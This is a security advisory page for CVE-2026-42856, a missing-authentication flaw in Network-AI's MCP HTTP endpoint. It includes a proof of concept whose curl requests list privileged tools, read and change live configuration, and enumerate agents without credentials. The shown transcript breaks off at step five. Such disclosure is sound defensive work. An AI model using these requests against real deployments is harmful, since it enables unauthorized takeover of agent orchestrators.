🛡️ CVE-2026-42856 — network-ai
Description
Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls
# Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI
| Field | Value |
|---|---|
| Project | Jovancoding/Network-AI |
| Repository | https://github.com/Jovancoding/Network-AI |
| Affected commit | c344f2053eb0d49395988f803bf92f2a86b2a0d0 |
| Affected tested version | 5.1.2 |
| Vulnerability type | CWE-306: Missing Authentication for Critical Function |
| Severity | High |
| Authentication required | None |
| Default network exposure | Bind address 0.0.0.0 |
| Reporter validation date | 2026-04-21 |
Summary
The MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.
Affected Code
bin/mcp-server.ts:75— server binds to0.0.0.0by default.lib/mcp-transport-sse.ts:155—handleRPC()dispatchestools/calldirectly to the provider'scall(toolName, toolArgs).lib/mcp-transport-sse.ts:379—_handlePost()parses the JSON-RPC body and callsthis._bridge.handleRPC(rpc)with no auth check.lib/mcp-tools-control.ts:80—config_getexposes live runtime configuration.lib/mcp-tools-control.ts:197—agent_listexposes registered agents.lib/mcp-tools-control.ts:231—config_setmutates runtime configuration in place:this._config[key] = parsed.
Proof of Concept
The PoC was executed against a local Docker build of the affected commit, bound to http://localhost:13001. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC result.content[0].text field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in evidence/.
Step 1 — list exposed tools (unauthenticated)
```bash
curl http://localhost:13001/tools
```
HTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:
config_get,config_set— read and mutate live orchestrator configurationagent_list,agent_spawn,agent_stop— enumerate, dispatch, and stop agentstoken_create,token_revoke— mint and revoke security tokensbudget_set_ceiling— adjust the global token budget ceilingfsm_transition— drive finite-state-machine transitionsblackboard_write,blackboard_delete— mutate the shared blackboard
Full transcript: evidence/01_get_tools.txt.
Step 2 — read live configuration (unauthenticated)
```bash
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'
```
HTTP/1.1 200 OK — decoded inner JSON:
```json
{
"ok": true,
"tool": "config_get",
"data": {
"blackboardPath": "./swarm-blackboard.md",
"maxParallelAgents": null,
"defaultTimeout": 30000,
"enableTracing": true,
"grantTokenTTL": 300000,
"maxBlackboardValueSize": 1048576,
"auditLogPath": "./data/audit_log.jsonl",
"trustConfigPath": "./data/trust_levels.json"
}
}
```
Full transcript: evidence/02_config_get_before.txt.
Step 3 — mutate live configuration (unauthenticated)
```bash
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'
```
HTTP/1.1 200 OK — decoded inner JSON:
```json
{
"ok": true,
"tool": "config_set",
"data": {
"key": "defaultTimeout",
"previous": 30000,
"current": 12345,
"applied": true
}
}
```
Full transcript: evidence/03_config_set.txt.
Step 4 — confirm mutation persisted (unauthenticated)
```bash
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'
```
HTTP/1.1 200 OK — decoded inner JSON (relevant key only):
```json
{
"ok": true,
"tool": "config_get",
"data": {
"defaultTimeout": 12345
}
}
```
This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.
Step 5 — enumerate registered agents (unauthenticated)
```bash
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'
```
HTTP/1.1 200 OK — decoded inner JSON:
```json
{
"ok": true,
"tool": "agent_list",
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity high, availability none.
Weakness class
CVE-2026-42856 is classified as CWE-306: Missing Authentication for Critical Function. A sensitive function can be reached without authenticating at all.
Affected software
CVE-2026-42856 is recorded against 2 packages.
- network-ai
- unknown
Timeline and source
Published on 5 May 2026 and last revised on 13 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| network-ai | — | — |
| unknown | — | — |
References
Similar Threats
- Critical CVE-2026-54051
- Medium CVE-2026-58413
- Medium CVE-2026-58414
- Medium CVE-2026-58481
- Medium CVE-2026-58482
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is network-ai part of your stack?
CVE-2026-42856 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.